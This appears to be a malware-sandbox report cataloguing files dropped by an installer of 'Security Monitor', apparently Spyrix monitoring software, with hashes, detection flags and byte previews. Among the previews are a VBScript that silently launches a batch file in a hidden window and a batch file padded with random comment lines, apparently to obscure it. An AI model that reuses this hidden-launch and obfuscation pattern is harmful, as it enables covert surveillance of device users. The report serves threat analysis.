Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	43564
Entropy (8bit):	5.107218209627063
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseRNoUCXap/z3OgwXG6Iu:TL4f3OgwXG6Iu
MD5:	1D227690D1B4A573597374FEDFC0E5A9
SHA1:	73BD11FEBB9219AD6FA0273AFF4B7440E594C3AA
SHA-256:	D795CFADCCA7514424BD9A335CB14C4AB410225B7A2628982BC9A33851E4DB3C
SHA-512:	BD589D52D6F12E9A02814C67DC52EBECC1EECBB3A686BBED7A25C9F65A8A1A7D5BF331DF61933CD0A4A383A80366867AA2890F371174F77FF4E4B153DD20ED17
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	41048
Entropy (8bit):	5.100342903202798
Encrypted:	false
SSDEEP:	768:XFRfQuekVh+DiDhZ6jN3muIV3brtEeLUsQZZ6jNS23FmsZo7I1Jj:XYz0CyH1V
MD5:	830A25F0F0DD4201CEDCE5A71290F52B
SHA1:	7E8035CB05D3883857F729AD02FC772425DE859E
SHA-256:	02A019309A83F3E82D5231C7E1861F7A54FFDF8C55C0357DC8335E56D89A8806
SHA-512:	5F25190BE2A3C305113595C9517DC4CBDB7D6D6DE35B514C1E6F15AEC3BEDA831F6A600D5876262D93B93A40245A1599D0BFA5CAA37F94937C30E6B4ECB52EF5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\logo.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 197 x 285, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	76673
Entropy (8bit):	7.9848305082884155
Encrypted:	false
SSDEEP:	1536:MAid3jb4CBlw8s1Q/03i/NRj/CWM9oLMqFAT5/EUx:MpoC/l703mx29ZwA9H
MD5:	3A12AA38DC04011E4267D84F9DF29A16
SHA1:	DB2B83756D27969D5701F20925A023B282B2212F
SHA-256:	16F1E3749736EC4BC63E0E64474FEDFED96468EE5901D1E3DADD3490C2B72380
SHA-512:	51A27A92771E6D2475A0B13965064A2C0BD4F9074E4CB344CBFFE046189F5B3A130321C7651C25F37BF66CF312D8A953B77FC4CE99F47C55A2FB63603D8CC47B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............."......sRGB.........gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....pHYs..........o.d...yIDATx^..t........$.L..43w.....,[.$..B.d.-...................]V.J.......Y_...y..?..O.~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~..~........<.j.q.......tq..K.Zu.V..>..}..}..........7.&~.b....5.js....x...T\.s.`-.w.............M.'........o.......4.#...._Z....GuSF7....]>.'.............n....;.../..>\|XN.<i.../...kr..u.u..sg.~...?.O?....B..)c....L...7o........+r....y..wO...._n.m.@.>..u......J?...\|.f....)...................t.....k......`.M.........o.....O......X.2.S......\|..G.....ic._.p.G..S^_s..}c..k..5...@..h..U.Z..-_S....\|..R.Ycy.+..2...}..cm..@................;..6;^M.....Yc.).......1.....$T..<...I...>W....k......(..-...p...'....S...\.........F7o..6~]...,(~........f.v.zat#.&....\|}.....O.4...K..,T.#.(9.........x.@.7...Mo......(-...c#...O.....EM.a..OB..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\main.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 7 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, -128x-128, 32 bits/pixel
Category:	dropped
Size (bytes):	110709
Entropy (8bit):	3.109239298068923
Encrypted:	false
SSDEEP:	384:yy+9VgmfdFYGZaAvurTUh2Asjh74zcW3X0+JaRCBiwmXtmdP:A9OmlFYGZaAG06V74QWNaRCEfwP
MD5:	7E0A58E864F4BD416D0B62A8D90FEBFE
SHA1:	B23CDD7F9AEBF120582C2C2C246F17E846521CF9
SHA-256:	D91EB200D2E6623A83FA036C8446455B3D56067939C027AB83BF7957D6B5D5FF
SHA-512:	0AE59E850429F7BA30C787B38FDAEC896710F4BD4D12F749EFB6C79AE89070CAB24182E05E54BC6E8D2EFA8C29CC420B892A1A583C9AD9A7EA446F095F5E944D
Malicious:	false
Reputation:	unknown
Preview:	............ .o!..v......... .(....!..@@.... .(B...*..00.... ..%..5l.. .... .............. ............... .h........PNG........IHDR.............\r.f..!6IDATx...\|U....37+.DPvd.A..(T....V[[..$lj......E._....Zm.H.bm...........Ev..YC ..y.{M.k..r33.....~.p.9..<3.....z.h....0.[H.=%E..../\6...D......0,....aX.,.&..X.L.a.......`.0.....`".....D......0,....aX.,.&..X.L.a.......`.0.....`".....D......0,....aX.,.&..X.L.a.......`.0.....`".....D......0,.... ..e....D.y4X...@.z1..s.b&..GX.CZ9.........DN...3A.....p......a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,..`\|..`....#,.K....a.X........,..GX..`.0>..........%X.....,...." . H).........,.?H(`.n`...;........ 4.....][..u.(..Z..#nXX..`...`...ye..._.TKA..0..0..D^...4.,.K...3\|..F..B`..._.z..r2......Nn&C.U`.X..`....>..wt?_...K}^[....U....9..[X.X..`......_,.....s.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\offer.url (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<"http://www.spyrix.com/spyrix-products.php?from=sfk_install">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.920531868608183
Encrypted:	false
SSDEEP:	3:HRAbABGQYmjziJS40dyTKWV7GGWyXKokJr:HRYFVmjzic40dyTKWV7WyuV
MD5:	5691CB02970E3D46042CD411DDD33C42
SHA1:	5F98A89B9505821B32D1A9B9362A9A8881DF2790
SHA-256:	9C16F6639225765BAA8F23C7B37724B0B3E4837B41F90F612C81AEEDDE79CF68
SHA-512:	A36A6B642A23CA333055602214253D4616FB94CEFC3A89614AE8FD314D93E7887B4FDFD394C9D60BA1474A5AE4EF45EE5639E0F84197FBD4D25CE896FDEB29A6
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..URL="http://www.spyrix.com/spyrix-products.php?from=sfk_install"....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.cmd (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with very long lines (382), with CRLF line terminators
Category:	dropped
Size (bytes):	44330
Entropy (8bit):	5.402734283969903
Encrypted:	false
SSDEEP:	768:7YLAdR2Vq+XlkbR/JrZrxvBl+EODixVDJjAn4s1QwwwSQffUVzdQWrCZvbXXMs:ULAf2Y+0N5yEOD2DtA4VBaHUVhNChLXR
MD5:	9EF476730ADA792F79ECEC1A17B353DA
SHA1:	1CC1EE286B1AF1612B5C841C446487C8A886FCDE
SHA-256:	93C5A3C337F6377B97960E9EF502B49DBA8B74E1110FB91C87753DF9F512BCC2
SHA-512:	2ADCF1A5BF4C48F37D7CA19868168D5A455A4C259E6DB05958985A5077E5E4AB86E4E3CC5B44FB07D437B1FEAB9FB27C44E2E79F234816B1B49FE2A02BA98054
Malicious:	false
Reputation:	unknown
Preview:	rem gibtqhekf39mgpqap5pxyt2te17k9o7aapwwaxt2uqh9r9ulftm2bkrq1rgk6jho47nxpwejvsj5zxyatyx7v10hl8l8zdaf84vopfithjvmoz48uzg6bg2u..@echo off..rem x2bd8l07ny0pa06la0e5iujfktvb2pxkx20nj52l1zmdoo23hxvkc75pexdzdn0b48fkj0..rem maux0ukutdxt9tbb88k0q2i09t1216lj0qg09sa93u3yvhcp5l51f7aitf1chki5hkjy0c2td23wx9rl9c0y7patqsuftpcx6y0cf1..rem jcqykl0xdea3l63f01mzzek33rov71ykztdzp1wr677iyor7b9ytvp0sxzz0djpcbkrxol0lo2i86lrilpiuhyjnt0cn703qe4rj5xdw2wplwh0dxqnxwkf4..@chcp 65001..rem 90iuh7dibiwuy7yq2e2b2gy600lp47nfpilcfpieauuxvqyrwylx0n50fr2q5azxth0wgzvsbpjk2v..rem z3dfn3scjmyjo9a3frstejhv4ek1ju057o08jay6c2t2fb3ighivzzze3paxxxvd08uxu0eur0a02d8uak0m340rcn0b4fy5bhw36l3jsplk87..rem yszm15xv7y41j1jfecxaynqd0nrzl5pl0pl8sfyxf5zsc299itmk98beo4ie8buu90i7kn760wm62breujvtlwr500gratijbkx0ihkz51gpsm3rzi0p1t0b..@rem UTF-8 encoding..rem c5bsy9uclhsu8v2ionuxjz8..rem kyq0rsrtz3j0lepwuipik3cwyqc36oeagz62c0z7jp2h1ttg00c0n35tfkqiwxxijqj7cxy0q7t7b730ygponok8zdjjlkfgl6omw0pezkdoof9t..rem jnag4uwbmfqgh7y8t4uz46lf5zj18z3s00h2mdyyms

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	225
Entropy (8bit):	4.8759757685468275
Encrypted:	false
SSDEEP:	6:j+q9NqhVIZ3WGpDSRR26RuBFCOoVgfBbtLFu:Kqahm5WGDS3vuvCO0Yq
MD5:	BDFC59070BFBBB84ED2FB09198896A81
SHA1:	D8C6E3A0E847199D16DC237C7BEC47A4148EB3D6
SHA-256:	033C50986AD34B15E737466398CF5E06116E560251040899871D97EC33E03B47
SHA-512:	DAEAEEDB6744464E6B524EACE531B902A066BA2E643F7626142D9444F070261EC9B0D6C4EA4A4C9874646A951D62B2D218B0ACC48E0FAFCF5CB9DEA0CF661E96
Malicious:	false
Reputation:	unknown
Preview:	Set objShell = CreateObject("WScript.Shell")..Dim FilePath..FilePath = WScript.ScriptFullName..FilePath = Left(FilePath, Len(FilePath) - 10)..objShell.CurrentDirectory = FilePath..objShell.Run "cmd.exe /c plist.cmd", 0, False

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3588216
Entropy (8bit):	6.632180080317583
Encrypted:	false
SSDEEP:	98304:Q61JrfvgRnMoHNNbwH3MhrHAGeEyU/4BiCklNl5tj0Qh+Pw/YlAKGC9eX2nuZHz7:/rfvgRMoHNNbwH3eTeEyU/4BiCklNl5D
MD5:	D9EA512EE580ECFFEE587A4C3759527F
SHA1:	B91480398B8820436B6634421D5AF628E482B890
SHA-256:	4C493F7DC51A50BBE139993CDB1267DD1F7A33020DF9075ECD7D28FDCE9EC63F
SHA-512:	BA212D929E7EE9478FF141F36950673EABCB31F71C39818D3F6A0A6F7AB57E2676445D815BAF6BC5F97477B4C8D6CBCC07F8051B87CFE800924064B5989CE7C4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....Z\..................(...6..:............(...@..........................07.....\|.7...@... ......................P5.1....`5.......5.X.............6.x.....5..\|............................4.....................0e5.\|............................text.....(.......(.................`..`.data....=....(..>....(.............@.`..rdata....... ).......).............@.`@.bss.....9....5.......................`..edata..1....P5.......5.............@.0@.idata.......`5.. ....5.............@.0..CRT....4.....5......(5.............@.0..tls..........5......*5.............@.0..rsrc...X.....5......,5.............@.0..reloc...\|....5..~...45.............@.0B................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sgw.m (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=7, xresolution=98, yresolution=106, resolutionunit=2, software=paint.net 4.0.10], baseline, precision 8, 320x240, components 3
Category:	dropped
Size (bytes):	3095
Entropy (8bit):	6.729660321273714
Encrypted:	false
SSDEEP:	48:u8/Pc+/bx0uERAGX6j9UCqgD97QB2xdddddddddddddd5a:u8Hc+zlEJX6lQcW
MD5:	499B10F1F3AE7CA6ACFBA3735EE75F4C
SHA1:	D5CFC9E2DC00A443052765491A915A503EF9C800
SHA-256:	EAF22AE8407F8DD0AC9F4FA7885A2DA8AFE288B09B2C4B87F6F17C5D50F2A988
SHA-512:	F29D30CBB427598E8577606791AF3C8277391BBF1AD7964217EAF78B807A6DFC9B99846F128A5F23BE7A409A3F7DAD81F3E5FC9B2CD15C12742A98A45A7CDDB6
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`......Exif..MM..................b...........j.(...........1.........rQ...........Q...........Q..................`.......`....paint.net 4.0.10.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............************************************************........@.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\Air.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	27663
Entropy (8bit):	7.90463581132329
Encrypted:	false
SSDEEP:	768:cMmPZ4Bc3LNhpK28BWmW0l2QbBwgx+9VBo7xXz9YAgx3p8:NmPZsEP9I2wBwrHOxXz61x3a
MD5:	C9A294C557F4CA094C11719AD8D7DEFC
SHA1:	3FEBA4F2A142FCC95C74F6FC0E520C4A369BB5A0
SHA-256:	EB1BE2B4FBA03260128E7EC0F5CDB8F4320E5D21AF40E7DD8EB956429B4AABEE
SHA-512:	1DB4E0649A2C2D8C75641BB9A374FC9B5A8CCD4D9336267D9FD1FA680EEE5DC48993910825303F4CEAD9FB3FD2D1814BAB39A21C1A5F74A7605E6555560B0181
Malicious:	false
Reputation:	unknown
Preview:	.....l..x..k...}.7$%J"MI.je.H..D...8........._H..`.....`....@..@..H..q\Zm.....:...&...nRY.6.u..IU\..&.Rv...i]..<..9=}........a.x..........v.{.qF..o.>....Q?.T?....f.d....n........!..Pw.}... ...O.>A.....O.>A... \|....'.. \|....'.....O.>A.....O.>A.. \|....'.. \|...B.....O.>A.....O..'.. \|....'.. \|..>A.....O.>A.....O...'.. \|....'.. \|.O.>A.....O.>A........'.. \|....'.. .O.>A.....O.>A..!\|....'.. \|....'....O.>A.....O.>A... \|....'.. \|....'.....O.>A.....O.>A.. \|....'......c.........$G/%X.$Q>.M...>.'.....\|.O...'.. \|.O..>.'.....\|.X.lB....).I..'\|....'....$..S.\|.P7. 4.n.>..o.u...~6..y..}k../....~....J..,}...g#.q ...HD.....(kq..V..'<....C.?...........8. l.m....z.....P$?.{.......hh......}aH.....=.T.WH.........{....Y~....a.$J~..D....`$"..!]q8......(.q..$.W.j...u..8\|..B.K....."X<qH.Xz.8\|.R.`I~..{nK.K.....-.,..{.#X...o........9.E...O~..Y... \|.By...w.W.[....8\|k1.....j..=.}.._/~...7;[....N.._.uj...KGvW...B..J...f.C.........7....m.-......8.y"7.re!...-.>8_6.wWJ.).ur..!.q.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\Android.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	65863
Entropy (8bit):	7.956619819086428
Encrypted:	false
SSDEEP:	1536:O6yYtz5wY3k3atdbzv0dBtGQKF30k2V7qyEEQq2uUwAqlgQM:O6yYtlxeaktcsJQzvqlgQM
MD5:	81E1F6AF711947DE0DECC68E58C0C293
SHA1:	557A98909549083A962BE781FA01D74979D01DDA
SHA-256:	B1E632717552DEB6BAB0D84839FC698DEA272EC0D1CE4A757BE5246788AB066A
SHA-512:	D2436A2CED9335BA4B4E2D08EB8449FDCDE43135A138A9EF6F73BCB7A98B56BFC0C8FFC29CC4F604B4F782AA0596EFD712F74B035A081ADFBFBCD88C015DACAB
Malicious:	false
Reputation:	unknown
Preview:	....?...x..].@.G.~..&j4.cbI.I..W.....b.).h,1F#F.{.FS...6......(`...{/r.{{,Y...=n.x..........w.ofK.Z....oE/..Q.a....7..p... @./.\|.d.....?_N%'..........l...J..O.n.fA..5......:...~g......w.;......~gc.......l.w6.;.......~gc.......l.w6.;......~g......w.;......~gc.......l.w6.;.......~gc.......l.w6.;......~g......w.;....~gc.......l.w6.;.......~gc.......l.w6.;.......~gc......w.;....~gc.......l.w6.;.......~gc.......l.w6.;.......~gc......w.;....~g......l.w6.;.......~gc.......l.w6.;.......~gc........w.;....~wuu...O.f. C..J,....J.......`.>..,.~.d+1&...[.1...J.I...VbL..+l%.~.e+1&...[.1..o..........l%.~..VbL..{l%.~..VbL.. ..cR.?f+1&..S..cR.......=......l%..~../...#.J..........{4[.1....b.J...>c.;w..c.J........W.].V}....Cw..O.8.W....J.J`.hC......t__.....k<...@.f...E.......{...o<.p#........9.uR.9t..JG.[A..Y.A0.2...=b......>...J..l.....?./\]]...+.z...c.....u.#\.A...l. ......6......~...q.x.?..........\|P.qq.-../..lq.-..........;........;..?...]q.+.w..o..#p?&...A.?.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\Charm.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	122200
Entropy (8bit):	7.981243125429923
Encrypted:	false
SSDEEP:	3072:LcJ9eG7nGSn39jEfKuu6Arxa7DcbPDxMeYw0Hu/dxjfjOL:geGnh39jEfKuz4ky1J0MxE
MD5:	13E9A3A7019801450759DB3C1123B986
SHA1:	4C5CD7A1176217FAFBB92B285F5E39C271C2D26F
SHA-256:	3F8FBC9026671A1B94C6AAFD3FCB11CC015A950512883A91B0620CA22739FC31
SHA-512:	AECB72D9DB235476744C0E9A3CD8884231B38243E2B60CC4DAC84503B2D6EE42CD1EBF3A49A231724998E580A8910E0F05A1652A916987EE6E2D860D3C37258F
Malicious:	false
Reputation:	unknown
Preview:	....P...x...x\Gz...............z...zg..^.}.f...3.K...hFY#..F..II..)QY..A0.$.@$..s.A.s..@G.._.j4N.n....h4............9..V.\|..O...rc.7....\..U....V}]..#.....J..*..G.!d%..c%....p.\t.A!.....BV.H.....A.AB.. . !.y.y...<.<H.a..t.B..9#...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.. . !.y.y...<.<H.a.d.$.0.2..B.....!...B.. g...<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\Default.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	74289
Entropy (8bit):	7.983650396991257
Encrypted:	false
SSDEEP:	1536:pyMfdEQ9zaVeRu8IDdsxPBwaUXYPRuFEDNJs9Li9GE7bpgVkSyml:pyMlZNaV2U5s7wLXYIuDNa9e9GE7G6Sh
MD5:	1390E5507BA0EFAE031318614A527C91
SHA1:	1327BD4FC6FFFADA97721375692ACB2E39F4DC95
SHA-256:	8C7BF368852F4FB69975B3841708CF654B0A22D02ED4BC2D95574EE50770694B
SHA-512:	B505E89C3A8C063A852C6654B58AEC996C6649692ED42584C69DE70DDE8F46C448B1A7B00B7465945B4BD2710A565FBD7C6A00556221DDFB5D966CBE3E8C8214
Malicious:	false
Reputation:	unknown
Preview:	....)"..x...s.Y............L....?`6v7b_w.n..jSNeUV.r.(.(.%.Q.I.F.=EO....{o...=e.{@HP"...I.'.#T"..'....y...?-......,.O..........[..u~._a..........e... .=!..2R..s.....B7 3I..,..yk.}\~....W.. t.2....4.......y..Bs K...w.o.. 9.......?.=......$'.\....].)\\|.$F..! c!o..[...e..i...RJ...I..g..B.5..lA.....FR~..s...S.}......[7...e..$.l.?A. ..3....o!.!.I....:w....A.o.....A...!d#9w..F....].A...G..$.A....P%.NCB..5.Z....."6..2w.\|g.s.....6o.....~.n.^..G.....K...(%.~...1r.j2,e,.'b..&t.1.. ZV...Y`.mV3.!d#)?!c1w...>Q..dL....P.g..kO>w..E...S.>..n..L..!5S.......%AB....aI...,..OR..[`H.6K..k...2.4`M...$.I3D!......X@.s.k..?w3..Q1S.r.Ic..)F.Z.Hj...S.R.1..~...Go.b..\|.:.... V3....X(I..,..v+..}s....r.fAR..&X)..E..}t........0w.%...m.AR.#A0w.\.s..Y...3.U..d.....F.,...]...`."....,<w.$^. Y.}dH....,....t$.$...9.6.....]..A.G.....a. ..Z.ds7.M...V }..]kR..B.T..t..~. ...H.$s.b./.G."t..7..5.tI<0.AR..o..5.T..- }..].^...$[.u.$s.W........*..5..Z..A..^.L2w.Z.F)C.l.Mo....(.J).d..J.d

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\HUD.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	47367
Entropy (8bit):	7.962365375624471
Encrypted:	false
SSDEEP:	768:k1CdRYP33ZhH7Dsk+0msPSEBEilsj15FNPj1bgC+UTbhrpyambFRVrn3hh+PX2zg:/uvob0m8EiujFNPREhOhrfqFRV7hMv2k
MD5:	E7B7F860D4178823CB0BF8A87AAED3E8
SHA1:	4F819FE07BD2A290877DAC09158A342F00A2AFE7
SHA-256:	2D042AEB8DB400EB4E3BC283E7546EE93D4ECC6B8BD5DCA0D89819DA517466EF
SHA-512:	105C6F1706497252BDD95CE96621B8B42E10DCFF246AFD302723AAFC99DE2C8F168C366E79E9D1B7F151CF1D755B7D74BBB8AA0152B89B729A0634B7E0240CD9
Malicious:	false
Reputation:	unknown
Preview:	........x..y....){<..3......m...-....[R/.n-.V.$.ZZ..#\|%$..."...X..B...`..{...6........w.#&....../b...o..p^w:;.O.sj.:.y..NV.[.o......z~..F......$.........#........Ce\.2.GeV,C.!.2.X...eH.....p......!.2.X.,C.a...c...).!.2d...Y...b.R,C.!.2.X...eH..).!.2d.R,C.eH..Y...b.R,C.!.2.X...eH..).!.2d.R,C.eH..Y...b.R,C.!.2.X...eH..).!.2d.R,C.eH..Y...b.R,C.!.2.X...eH..).!.2..2...Vn-Y.!.b.R,C.!.eH..).!.e.2.X...b...).!.2.X.,C.eH..).a9...c......e.2..)C.b...).!.2.X.,C.eH..).!.r...P...eH9R..G........OeV.e8....p.Y..a..Y..p.....3.......5jhh.h.EeP(8..Q/.."6.....L.E..C....k.].pA..9TF$.!...7j.{...o.;vL...r^R.(2...o.?...\|...o...K/..\.....;.rF(.......bBa..Pp(.Q....?..O..........O>.[.>.tS(......."C...F.....k..Q9..I.w......o....?.I...Q.._..Q.EQ.EQ.......^....Q..g.WG.w..Q.........+.o...6..l......{r.._...&~.....3)..k{)....R.JEo./....T.=..~....k[=....c.qj~l8.xm.G^o..S......9u.K..]9.J.....c...s......L?........4.C+W......S.c.2VN.....^4,l..2..r.Ue,5.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\SnowLeopard.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	144577
Entropy (8bit):	7.984713151564499
Encrypted:	false
SSDEEP:	3072:MZk6EgfzDfFnHj9A6d5qxvZkr0U26aqBQ5fzFZeKcrjXgtrOG79:M1fzDfFhAE5ykr0R6jBQ5rahgtrx9
MD5:	F7F4FE155A8FF420BCB4710212F0D469
SHA1:	F6A8265AA0504CE12397350A6CEE41F3B799B40D
